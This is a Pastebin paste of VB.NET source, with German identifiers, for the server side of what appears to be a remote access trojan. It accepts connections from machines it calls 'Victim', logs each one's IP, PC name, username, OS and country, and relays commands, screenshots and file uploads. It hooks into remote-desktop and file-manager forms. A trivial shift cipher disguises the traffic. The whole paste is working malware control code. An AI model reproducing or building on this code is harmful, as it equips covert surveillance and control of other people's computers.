Advertisement
Guest User

Connection

a guest
Mar 22nd, 2017
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 4.85 KB | None | 0 0
  1. Imports System.IO
  2. Imports System.Net.Sockets
  3. Imports System.Threading
  4. Public Class Server
  5.     Dim MyTcpListener As TcpListener
  6.     Public VictimListe As New List(Of Victim)
  7.     Dim VictimID As Integer = 1
  8.     Dim Port As Integer
  9.     Public Event _VictimVerbunden(ByVal v As Victim)
  10.     Public Event _VictimDisconnected(ByVal v As Victim)
  11.     Public Event _NeuerScreenshotIstDa(ByVal VictimID As Integer, ByVal Screen As Image)
  12.     Public Event _UploadFileFinish(ByVal VictimID As Integer)
  13.     Public Sub Start(ByVal Port As Integer)
  14.         Me.Port = Port
  15.         Dim t As New Thread(AddressOf Listen)
  16.         t.IsBackground = True
  17.         t.Start()
  18.     End Sub
  19.     Private Sub Listen()
  20.         Me.MyTcpListener = New TcpListener(System.Net.IPAddress.Any, Me.Port)
  21.         Me.MyTcpListener.Start()
  22.         While True
  23.             Dim EingehendeVerbindung As TcpClient = Me.MyTcpListener.AcceptTcpClient
  24.             Dim Str As StreamReader = New StreamReader(EingehendeVerbindung.GetStream)
  25.             Dim ErsteZeile As String = Decrypt(Str.ReadLine)
  26.             If ErsteZeile = "Victim" Then
  27.                 Dim v As New Victim
  28.                 v.VictimID = Me.VictimID
  29.                 v.Str = Str
  30.                 v.Start(EingehendeVerbindung)
  31.                 Me.VictimListe.Add(v)
  32.                 RaiseEvent _VictimVerbunden(v)
  33.                 AddHandler v._VictimDisconnect, AddressOf VictimDisconnected
  34.                 Me.VictimID += 1
  35.             ElseIf ErsteZeile = "FileTransfer" Then
  36.                 Dim f As New FileTranfer
  37.                 f.Start(EingehendeVerbindung, Str)
  38.                 AddHandler f.NewScreenshot, AddressOf NeuerScreenshot
  39.                 AddHandler f.UploadFileFinish, AddressOf UploadfileFinish
  40.             Else
  41.                 EingehendeVerbindung.Close()
  42.                 Str.Close()
  43.             End If
  44.         End While
  45.     End Sub
  46.     Private Function Decrypt(ByVal sText As String) As String
  47.         Dim i As Long
  48.         Dim rt As String = Nothing
  49.         For i = 1 To Len(sText)
  50.             rt = rt & Chr(Asc(Mid(sText, i, 1)) - 1)
  51.         Next
  52.         Return rt
  53.     End Function
  54.     Sub UploadfileFinish(ByVal VictimID As Integer)
  55.         RaiseEvent _UploadFileFinish(VictimID)
  56.     End Sub
  57.     Sub NeuerScreenshot(ByVal id As Integer, ByVal screen As Image)
  58.         RaiseEvent _NeuerScreenshotIstDa(id, screen)
  59.     End Sub
  60.     Sub VictimDisconnected(ByVal v As Victim)
  61.         RaiseEvent _VictimDisconnected(v)
  62.     End Sub
  63. End Class
  64. Public Class Victim
  65.     Dim TcpClient As TcpClient
  66.     Public Str As StreamReader
  67.     Dim Stw As StreamWriter
  68.     Public Litem As ListViewItem
  69.     Public VictimID As Integer
  70.     Public Verbunden As Boolean
  71.     Public IP As String
  72.     Public PcName As String
  73.     Public Username As String
  74.     Public System As String
  75.     Public Country As String
  76.     Public R As RemoteDesktop 'Remote Desktop Form
  77.     Public F As File_Manager 'Filemanager Form
  78.     Public Event _NeuerTextIstDa(ByVal sText As String)
  79.     Public Event _VictimDisconnect(ByVal v As Victim)
  80.     Public Sub Start(ByVal c As TcpClient)
  81.         Me.TcpClient = c
  82.         Me.Stw = New StreamWriter(Me.TcpClient.GetStream)
  83.         Me.Verbunden = True
  84.         Dim IPTeil() As String = Split(c.Client.RemoteEndPoint.ToString, ":")
  85.         Me.IP = IPTeil(0)
  86.         Me.PcName = Decrypt(Me.Str.ReadLine)
  87.         Me.Username = Decrypt(Me.Str.ReadLine)
  88.         Me.System = Decrypt(Me.Str.ReadLine)
  89.         Me.Country = Decrypt(Me.Str.ReadLine)
  90.         Dim t As New Thread(AddressOf TextEmpfangen)
  91.         t.IsBackground = True
  92.         t.Start()
  93.     End Sub
  94.     Private Sub TextEmpfangen()
  95.         While Me.Verbunden = True
  96.             Try
  97.                 Dim sText As String = Decrypt(Me.Str.ReadLine)
  98.                 RaiseEvent _NeuerTextIstDa(sText)
  99.             Catch ex As Exception
  100.                 Me.Verbunden = False
  101.                 VictimDisconnected()
  102.             End Try
  103.         End While
  104.     End Sub
  105.     Public Sub TextSenden(ByVal sText As String)
  106.         Try
  107.             Me.Stw.WriteLine(Encrypt(sText))
  108.             Me.Stw.Flush()
  109.         Catch ex As Exception
  110.         End Try
  111.     End Sub
  112.     Private Sub VictimDisconnected()
  113.         Me.TcpClient.Close()
  114.         Me.Str.Close()
  115.         Me.Stw.Close()
  116.         Me.Verbunden = False
  117.         RaiseEvent _VictimDisconnect(Me)
  118.     End Sub
  119.     Private Function Decrypt(ByVal sText As String) As String
  120.         Dim i As Long
  121.         Dim rt As String = Nothing
  122.         For i = 1 To Len(sText)
  123.             rt = rt & Chr(Asc(Mid(sText, i, 1)) - 1)
  124.         Next
  125.         Return rt
  126.     End Function
  127.     Private Function Encrypt(ByVal sText As String) As String
  128.         Dim i As Long
  129.         Dim rt As String = Nothing
  130.         For i = 1 To Len(sText)
  131.             rt = rt & Chr(Asc(Mid(sText, i, 1)) + 1)
  132.         Next
  133.         Return rt
  134.     End Function
  135. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement